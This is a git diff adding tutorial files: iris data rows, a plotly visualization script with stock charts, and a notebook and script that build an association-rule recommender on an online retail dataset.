+5.9,3.2,4.8,1.8,versicolor
+6.1,2.8,4.0,1.3,versicolor
+6.3,2.5,4.9,1.5,versicolor
+6.1,2.8,4.7,1.2,versicolor
+6.4,2.9,4.3,1.3,versicolor
+6.6,3.0,4.4,1.4,versicolor
+6.8,2.8,4.8,1.4,versicolor
+6.7,3.0,5.0,1.7,versicolor
+6.0,2.9,4.5,1.5,versicolor
+5.7,2.6,3.5,1.0,versicolor
+5.5,2.4,3.8,1.1,versicolor
+5.5,2.4,3.7,1.0,versicolor
+5.8,2.7,3.9,1.2,versicolor
+6.0,2.7,5.1,1.6,versicolor
+5.4,3.0,4.5,1.5,versicolor
+6.0,3.4,4.5,1.6,versicolor
+6.7,3.1,4.7,1.5,versicolor
+6.3,2.3,4.4,1.3,versicolor
+5.6,3.0,4.1,1.3,versicolor
+5.5,2.5,4.0,1.3,versicolor
+5.5,2.6,4.4,1.2,versicolor
+6.1,3.0,4.6,1.4,versicolor
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+5.0,2.3,3.3,1.0,versicolor
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+5.7,2.9,4.2,1.3,versicolor
+6.2,2.9,4.3,1.3,versicolor
+5.1,2.5,3.0,1.1,versicolor
+5.7,2.8,4.1,1.3,versicolor
+6.3,3.3,6.0,2.5,virginica
+5.8,2.7,5.1,1.9,virginica
+7.1,3.0,5.9,2.1,virginica
+6.3,2.9,5.6,1.8,virginica
+6.5,3.0,5.8,2.2,virginica
+7.6,3.0,6.6,2.1,virginica
+4.9,2.5,4.5,1.7,virginica
+7.3,2.9,6.3,1.8,virginica
+6.7,2.5,5.8,1.8,virginica
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+6.5,3.2,5.1,2.0,virginica
+6.4,2.7,5.3,1.9,virginica
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+5.7,2.5,5.0,2.0,virginica
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+6.4,3.2,5.3,2.3,virginica
+6.5,3.0,5.5,1.8,virginica
+7.7,3.8,6.7,2.2,virginica
+7.7,2.6,6.9,2.3,virginica
+6.0,2.2,5.0,1.5,virginica
+6.9,3.2,5.7,2.3,virginica
+5.6,2.8,4.9,2.0,virginica
+7.7,2.8,6.7,2.0,virginica
+6.3,2.7,4.9,1.8,virginica
+6.7,3.3,5.7,2.1,virginica
+7.2,3.2,6.0,1.8,virginica
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+6.1,3.0,4.9,1.8,virginica
+6.4,2.8,5.6,2.1,virginica
+7.2,3.0,5.8,1.6,virginica
+7.4,2.8,6.1,1.9,virginica
+7.9,3.8,6.4,2.0,virginica
+6.4,2.8,5.6,2.2,virginica
+6.3,2.8,5.1,1.5,virginica
+6.1,2.6,5.6,1.4,virginica
+7.7,3.0,6.1,2.3,virginica
+6.3,3.4,5.6,2.4,virginica
+6.4,3.1,5.5,1.8,virginica
+6.0,3.0,4.8,1.8,virginica
+6.9,3.1,5.4,2.1,virginica
+6.7,3.1,5.6,2.4,virginica
+6.9,3.1,5.1,2.3,virginica
+5.8,2.7,5.1,1.9,virginica
+6.8,3.2,5.9,2.3,virginica
+6.7,3.3,5.7,2.5,virginica
+6.7,3.0,5.2,2.3,virginica
+6.3,2.5,5.0,1.9,virginica
+6.5,3.0,5.2,2.0,virginica
+6.2,3.4,5.4,2.3,virginica
+5.9,3.0,5.1,1.8,virginica
\ No newline at end of file
diff --git a/machine-learning/plotly-visualization/plotly_viz.py b/machine-learning/plotly-visualization/plotly_viz.py
new file mode 100644
index 00000000..61935af9
--- /dev/null
+++ b/machine-learning/plotly-visualization/plotly_viz.py
@@ -0,0 +1,160 @@
+
+# coding: utf-8
+
+# In[ ]:
+
+
+import plotly.offline as py
+import plotly.graph_objs as go
+import plotly.figure_factory as ff
+import pandas as pd
+import numpy as np
+import yfinance as yf
+import pandas_datareader as pdr
+
+py.init_notebook_mode()
+
+
+# In[ ]:
+
+
+x = [ i for i in range(-10,10) ]
+
+y = [ i*2 for i in range(-10,10) ]
+
+xaxis = go.layout.XAxis(title="X Axis")
+yaxis = go.layout.YAxis(title="Y Axis")
+
+fig = go.Figure(layout=go.Layout(title="Simple Line Plot", xaxis=xaxis, yaxis=yaxis))
+fig.add_trace(go.Scatter(x=x, y=y))
+
+
+# In[ ]:
+
+
+def sigmoid(x):
+ return 1 / (1 + np.exp((-1) * x))
+
+x = sorted(np.random.random(100) * 10 - 5)
+y = [ sigmoid(i) for i in x ]
+
+xaxis = go.layout.XAxis(title="X Axis")
+yaxis = go.layout.YAxis(title="Y Axis")
+
+fig=go.Figure(layout=go.Layout(title="Sigmoid Plot",xaxis=xaxis, yaxis=yaxis))
+fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color="red")))
+
+
+# In[ ]:
+
+
+l = []
+
+for _ in range(5):
+ l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ])
+
+l = np.array(l)
+
+figure = go.Figure(layout=go.Layout(title="Simple Scatter Example", xaxis=go.layout.XAxis(title="X"), yaxis=go.layout.YAxis(title="Y")))
+for i in range(len(l)):
+ figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode="markers", name=f" Distribution {i+1} "))
+figure.show()
+
+
+# In[ ]:
+
+
+dist = np.random.normal(loc=0, scale=1, size=50000)
+
+
+# In[ ]:
+
+
+figure = go.Figure()
+figure.add_trace(go.Histogram(x=dist,))
+
+
+# In[ ]:
+
+
+
+
+d=[{"values":np.random.normal(0,0.5,10000), "information": " Normal Distribution with mean 0 and std= 0.5"},
+ {"values":np.random.normal(0,1,10000), "information": " Normal Distribution with mean 0 and std= 1"},
+ {"values":np.random.normal(0,1.5,10000), "information": " Normal Distribution with mean 0 and std= 1.5"},
+ {"values":np.random.normal(0,2,10000), "information": " Normal Distribution with mean 0 and std= 2"},
+ {"values":np.random.normal(0,5,10000), "information": " Normal Distribution with mean 0 and std= 5"}]
+
+ff.create_distplot([ele["values"] for ele in d], group_labels=[ele["information"] for ele in d], show_hist=False)
+
+
+# In[ ]:
+
+
+x = np.random.randint(low=5, high=100, size=15)
+y = np.random.randint(low=5, high=100 ,size=15)
+z = np.random.randint(low=5, high=100, size=15)
+
+fig = go.Figure()
+fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode="markers"))
+
+
+# In[ ]:
+
+
+df_iris = pd.read_csv("iris.csv")
+
+
+# In[ ]:
+
+
+fig = go.Figure()
+species_types = df_iris.species.unique().tolist()
+
+for specie in species_types:
+ b = df_iris.species == specie
+ fig.add_trace(go.Scatter3d(x=df_iris["sepal_length"][b], y=df_iris["sepal_width"][b], z=df_iris["petal_width"][b], name=specie, mode="markers"))
+
+
+fig.show()
+
+
+# In[ ]:
+
+
+yf.pdr_override()
+
+symbols = ["AAPL","MSFT"]
+stocks = []
+for symbol in symbols:
+ stocks.append(pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31"))
+
+
+# In[ ]:
+
+
+fig = go.Figure()
+
+for stock,symbol in zip(stocks,symbols):
+ fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol))
+
+fig.show()
+
+
+# In[ ]:
+
+
+df_aapl = pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31")
+
+
+# In[ ]:
+
+
+ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close)
+
+
+# In[ ]:
+
+
+
+
diff --git a/machine-learning/plotly-visualization/requirements.txt b/machine-learning/plotly-visualization/requirements.txt
new file mode 100644
index 00000000..c85d3412
--- /dev/null
+++ b/machine-learning/plotly-visualization/requirements.txt
@@ -0,0 +1,3 @@
+plotly
+pandas
+numpy
\ No newline at end of file
diff --git a/machine-learning/recommender-system-using-association-rules/README.md b/machine-learning/recommender-system-using-association-rules/README.md
new file mode 100644
index 00000000..f64c861b
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/README.md
@@ -0,0 +1,5 @@
+# [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Get the dataset [here](https://archive.ics.uci.edu/ml/machine-learning-databases/00352/)
+- Follow [the tutorial](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python) and the [Colab Notebook](https://colab.research.google.com/drive/1HWv-ETO_eVqVJGsbnGui-Nb33tvHPlL3?usp=sharing)
\ No newline at end of file
diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb
new file mode 100644
index 00000000..cb03e1ed
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb
@@ -0,0 +1,563 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "import pandas as pd\n",
+ "import seaborn as sns\n",
+ "import matplotlib.pyplot as plt\n",
+ "%matplotlib inline\n",
+ "from mlxtend.frequent_patterns import apriori, association_rules\n",
+ "from collections import Counter"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# dataset = pd.read_csv(\"data.csv\",encoding= 'unicode_escape')\n",
+ "dataset = pd.read_excel(\"Online Retail.xlsx\")\n",
+ "dataset.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "dataset.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "## Verify missing value\n",
+ "dataset.isnull().sum().sort_values(ascending=False)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "## Remove missing values\n",
+ "dataset1 = dataset.dropna()\n",
+ "dataset1.describe()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "#selecting data where quantity > 0\n",
+ "dataset1= dataset1[dataset1.Quantity > 0]\n",
+ "dataset1.describe()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price\n",
+ "dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice']\n",
+ "# to highlight the Customers with most no. of orders (invoices) with groupby function\n",
+ "orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count()\n",
+ "print('The TOP 5 loyal customers with most number of orders...')\n",
+ "orders.sort_values(by='InvoiceNo', ascending=False).head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a subplot of size 15x6\n",
+ "plt.subplots(figsize=(15,6))\n",
+ "# Using the style bmh for better visualization\n",
+ "plt.style.use('bmh')\n",
+ "# X axis will denote the customer ID, Y axis will denote the number of orders\n",
+ "plt.plot(orders.CustomerID, orders.InvoiceNo)\n",
+ "# Labelling the X axis\n",
+ "plt.xlabel('Customers ID')\n",
+ "# Labelling the Y axis\n",
+ "plt.ylabel('Number of Orders')\n",
+ "# Title to the plot\n",
+ "plt.title('Number of Orders by different Customers')\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "#Using groupby function to highlight the Customers with highest spent amount (invoices)\n",
+ "money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum()\n",
+ "print('The TOP 5 profitable customers with highest money spent...')\n",
+ "money.sort_values(by='Amount', ascending=False).head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a subplot of size 15*6\n",
+ "plt.subplots(figsize=(15,6))\n",
+ "# X axis will denote the customer ID, Y axis will denote the amount spent\n",
+ "plt.plot(money.CustomerID, money.Amount)\n",
+ "# Using bmh style for better visualization\n",
+ "plt.style.use('bmh')\n",
+ "# Labelling the X-axis\n",
+ "plt.xlabel('Customers ID')\n",
+ "# Labelling the Y-axis\n",
+ "plt.ylabel('Money spent')\n",
+ "# Giving a suitable title to the plot\n",
+ "plt.title('Money Spent by different Customers')\n",
+ "\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Convert InvoiceDate from object to datetime\n",
+ "dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M')\n",
+ "# Creating a new feature called year_month, such that December 2010 will be denoted as 201012\n",
+ "dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month))\n",
+ "# Creating a new feature for Month\n",
+ "dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month)\n",
+ "# Creating a new feature for Day\n",
+ "# +1 to make Monday=1.....until Sunday=7\n",
+ "dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1)\n",
+ "# Creating a new feature for Hour\n",
+ "dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Using bmh style for better visualization\n",
+ "plt.style.use('bmh')\n",
+ "# Using groupby to extract No. of Invoices year-monthwise\n",
+ "ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n",
+ "# Labelling the X axis\n",
+ "ax.set_xlabel('Month',fontsize=15)\n",
+ "# Labelling the Y-axis\n",
+ "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+ "# Giving suitable title to the plot\n",
+ "ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+ "# Providing with X tick labels\n",
+ "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n",
+ "\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Day = 6 is Saturday.no orders placed \n",
+ "dataset1[dataset1['day']==6]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Using groupby to count no. of Invoices daywise\n",
+ "ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n",
+ "# Labelling X axis\n",
+ "ax.set_xlabel('Day',fontsize=15)\n",
+ "# Labelling Y axis\n",
+ "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+ "# Giving suitable title to the plot\n",
+ "ax.set_title('Number of orders for different Days',fontsize=15)\n",
+ "# Providing with X tick labels\n",
+ "# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels\n",
+ "ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15)\n",
+ "\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Using groupby to count the no. of Invoices hourwise\n",
+ "ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6))\n",
+ "# Labelling X axis\n",
+ "ax.set_xlabel('Hour',fontsize=15)\n",
+ "# Labelling Y axis\n",
+ "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+ "# Giving suitable title to the plot\n",
+ "ax.set_title('Number of orders for different Hours', fontsize=15)\n",
+ "# Providing with X tick lables ( all orders are placed between 6 and 20 hour )\n",
+ "ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15)\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "dataset1.UnitPrice.describe()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# checking the distribution of unit price\n",
+ "plt.subplots(figsize=(12,6))\n",
+ "# Using darkgrid style for better visualization\n",
+ "sns.set_style('darkgrid')\n",
+ "# Applying boxplot visualization on Unit Price\n",
+ "sns.boxplot(dataset1.UnitPrice)\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a new df of free items\n",
+ "freeproducts = dataset1[dataset1['UnitPrice'] == 0]\n",
+ "freeproducts.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Counting how many free items were given out year-month wise\n",
+ "freeproducts.year_month.value_counts().sort_index()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Counting how many free items were given out year-month wise\n",
+ "ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6))\n",
+ "# Labelling X-axis\n",
+ "ax.set_xlabel('Month',fontsize=15)\n",
+ "# Labelling Y-axis\n",
+ "ax.set_ylabel('Frequency',fontsize=15)\n",
+ "# Giving suitable title to the plot\n",
+ "ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+ "# Providing X tick labels\n",
+ "# Since there are 0 free items in June 2011, we are excluding it\n",
+ "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13)\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "plt.style.use('bmh')\n",
+ "# Using groupby to sum the amount spent year-month wise\n",
+ "ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6))\n",
+ "# Labelling X axis\n",
+ "ax.set_xlabel('Month',fontsize=15)\n",
+ "# Labelling Y axis\n",
+ "ax.set_ylabel('Amount',fontsize=15)\n",
+ "# Giving suitable title to the plot\n",
+ "ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+ "# Providing with X tick labels\n",
+ "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a new pivot table which sums the Quantity ordered for each item\n",
+ "most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False)\n",
+ "most_sold.reset_index(inplace=True)\n",
+ "sns.set_style('white')\n",
+ "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis\n",
+ "# We are plotting only the 10 most ordered items\n",
+ "sns.barplot(y='Description', x='Quantity', data=most_sold.head(10))\n",
+ "# Giving suitable title to the plot\n",
+ "plt.title('Top 10 Items based on No. of Sales', fontsize=14)\n",
+ "plt.ylabel('Item')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample\n",
+ "d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER']"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times\n",
+ "d_white.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers\n",
+ "len(d_white.CustomerID.unique())"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Creating a pivot table that displays the sum of unique Customers who bought particular item\n",
+ "\n",
+ "most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False)\n",
+ "most_customers\n",
+ "# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "most_customers.reset_index(inplace=True)\n",
+ "sns.set_style('white')\n",
+ "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis\n",
+ "# We are plotting only the 10 most bought items\n",
+ "sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10))\n",
+ "# Giving suitable title to the plot\n",
+ "plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14)\n",
+ "plt.ylabel('Item')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Storing all the invoice numbers into a list y\n",
+ "y = dataset1['InvoiceNo']\n",
+ "y = y.to_list()\n",
+ "# Using set function to find unique invoice numbers only and storing them in invoices list\n",
+ "invoices = list(set(y))\n",
+ "# Creating empty list first_choices\n",
+ "firstchoices = []\n",
+ "# looping into list of unique invoice numbers\n",
+ "for i in invoices:\n",
+ " \n",
+ " # the first item (index = 0) of every invoice is the first purchase\n",
+ " # extracting the item name for the first purchase\n",
+ " firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0]\n",
+ " \n",
+ " # Appending the first purchase name into first choices list\n",
+ " firstchoices.append(firstpurchase)\n",
+ "firstchoices[:5]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Using counter to count repeating first choices\n",
+ "count = Counter(firstchoices)\n",
+ "# Storing the counter into a datafrane\n",
+ "data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index()\n",
+ "# Rename columns as item and count\n",
+ "data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True)\n",
+ "# Sorting the data based on count\n",
+ "data_first_choices.sort_values(by='count',ascending=False)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "plt.subplots(figsize=(20,10))\n",
+ "sns.set_style('white')\n",
+ "# Creating a bar plot that displays Item name on the Y axis and Count on the X axis\n",
+ "sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10))\n",
+ "# Giving suitable title to the plot\n",
+ "plt.title('Top 10 First Choices', fontsize=14)\n",
+ "plt.ylabel('Item')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo'))\n",
+ "basket.head(10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "def encode_u(x):\n",
+ " if x < 1:\n",
+ " return 0\n",
+ " if x >= 1:\n",
+ " return 1\n",
+ "\n",
+ "basket = basket.applymap(encode_u)\n",
+ "# everything is encoded into 0 and 1\n",
+ "basket.head(10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# trying out on a sample item\n",
+ "wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1]\n",
+ "# Using apriori algorithm, creating association rules for the sample item\n",
+ "# Applying apriori algorithm for wooden_star\n",
+ "frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True)\n",
+ "# Storing the association rules into rules\n",
+ "wooden_star_rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n",
+ "# Sorting the rules on lift and support\n",
+ "wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function\n",
+ "def frequently_bought_t(item):\n",
+ " # df of item passed\n",
+ " item_d = basket.loc[basket[item]==1]\n",
+ " # Applying apriori algorithm on item df\n",
+ " frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True)\n",
+ " # Storing association rules\n",
+ " rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n",
+ " # Sorting on lift and support\n",
+ " rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)\n",
+ " print('Items frequently bought together with {0}'.format(item))\n",
+ " # Returning top 6 items with highest lift and support\n",
+ " return rules['consequents'].unique()[:6]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "frequently_bought_t('JAM MAKING SET WITH JARS')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": []
+ }
+ ],
+ "metadata": {
+ "interpreter": {
+ "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+ },
+ "kernelspec": {
+ "display_name": "Python 3.8.7 64-bit",
+ "language": "python",
+ "name": "python3"
+ },
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": "3.9.12"
+ },
+ "orig_nbformat": 4
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py
new file mode 100644
index 00000000..a1ac3013
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py
@@ -0,0 +1,315 @@
+# %%
+import pandas as pd
+import seaborn as sns
+import matplotlib.pyplot as plt
+%matplotlib inline
+from mlxtend.frequent_patterns import apriori, association_rules
+from collections import Counter
+
+# %%
+# dataset = pd.read_csv("data.csv",encoding= 'unicode_escape')
+dataset = pd.read_excel("Online Retail.xlsx")
+dataset.head()
+
+# %%
+dataset.shape
+
+# %%
+## Verify missing value
+dataset.isnull().sum().sort_values(ascending=False)
+
+# %%
+## Remove missing values
+dataset1 = dataset.dropna()
+dataset1.describe()
+
+# %%
+#selecting data where quantity > 0
+dataset1= dataset1[dataset1.Quantity > 0]
+dataset1.describe()
+
+# %%
+# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price
+dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice']
+# to highlight the Customers with most no. of orders (invoices) with groupby function
+orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count()
+print('The TOP 5 loyal customers with most number of orders...')
+orders.sort_values(by='InvoiceNo', ascending=False).head()
+
+# %%
+# Creating a subplot of size 15x6
+plt.subplots(figsize=(15,6))
+# Using the style bmh for better visualization
+plt.style.use('bmh')
+# X axis will denote the customer ID, Y axis will denote the number of orders
+plt.plot(orders.CustomerID, orders.InvoiceNo)
+# Labelling the X axis
+plt.xlabel('Customers ID')
+# Labelling the Y axis
+plt.ylabel('Number of Orders')
+# Title to the plot
+plt.title('Number of Orders by different Customers')
+plt.show()
+
+# %%
+#Using groupby function to highlight the Customers with highest spent amount (invoices)
+money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum()
+print('The TOP 5 profitable customers with highest money spent...')
+money.sort_values(by='Amount', ascending=False).head()
+
+# %%
+# Creating a subplot of size 15*6
+plt.subplots(figsize=(15,6))
+# X axis will denote the customer ID, Y axis will denote the amount spent
+plt.plot(money.CustomerID, money.Amount)
+# Using bmh style for better visualization
+plt.style.use('bmh')
+# Labelling the X-axis
+plt.xlabel('Customers ID')
+# Labelling the Y-axis
+plt.ylabel('Money spent')
+# Giving a suitable title to the plot
+plt.title('Money Spent by different Customers')
+
+plt.show()
+
+# %%
+# Convert InvoiceDate from object to datetime
+dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M')
+# Creating a new feature called year_month, such that December 2010 will be denoted as 201012
+dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month))
+# Creating a new feature for Month
+dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month)
+# Creating a new feature for Day
+# +1 to make Monday=1.....until Sunday=7
+dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1)
+# Creating a new feature for Hour
+dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour)
+
+# %%
+# Using bmh style for better visualization
+plt.style.use('bmh')
